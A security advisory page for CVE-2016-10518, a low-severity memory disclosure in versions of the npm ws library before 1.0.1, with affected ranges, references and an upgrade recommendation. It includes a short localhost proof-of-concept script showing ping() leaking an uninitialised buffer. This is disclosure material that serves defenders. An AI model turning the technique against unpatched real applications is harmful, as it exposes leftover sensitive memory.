GHSA-2MHH-W6Q8-5HXW

Vulnerability from github – Published: 2019-02-18 23:56 – Updated: 2020-08-31 18:09
VLAI
Summary
Remote Memory Disclosure in ws
Details

Versions of ws prior to 1.0.1 are affected by a remote memory disclosure vulnerability.

In certain rare circumstances, applications which allow users to control the arguments of a client.ping() call will cause ws to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.

Proof of Concept

var ws = require('ws')

var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')

client.on('open', function () {
  console.log('open')
  client.ping(50) // this sends a non-zeroed buffer of 50 bytes

  client.on('pong', function (data) {
    console.log('got pong')
    console.log(data) // Data from the client. 
  })
})

Recommendation

Update to version 1.0.1 or greater.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-10518"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T20:52:34Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "Versions of `ws` prior to 1.0.1 are affected by a remote memory disclosure vulnerability.\n\nIn certain rare circumstances, applications which allow users to control the arguments of a `client.ping()` call will cause `ws` to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.\n\n\n\n## Proof of Concept\n```\nvar ws = require(\u0027ws\u0027)\n\nvar server = new ws.Server({ port: 9000 })\nvar client = new ws(\u0027ws://localhost:9000\u0027)\n\nclient.on(\u0027open\u0027, function () {\n  console.log(\u0027open\u0027)\n  client.ping(50) // this sends a non-zeroed buffer of 50 bytes\n\n  client.on(\u0027pong\u0027, function (data) {\n    console.log(\u0027got pong\u0027)\n    console.log(data) // Data from the client. \n  })\n})\n```\n\n\n## Recommendation\n\nUpdate to version 1.0.1 or greater.",
  "id": "GHSA-2mhh-w6q8-5hxw",
  "modified": "2020-08-31T18:09:55Z",
  "published": "2019-02-18T23:56:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10518"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/29293ed11b679e0366fa0f6bb9310b330dafd795"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/c0nrad/e92005446c480707a74a"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-2mhh-w6q8-5hxw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/releases/tag/1.0.1"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/67"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Remote Memory Disclosure in ws"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…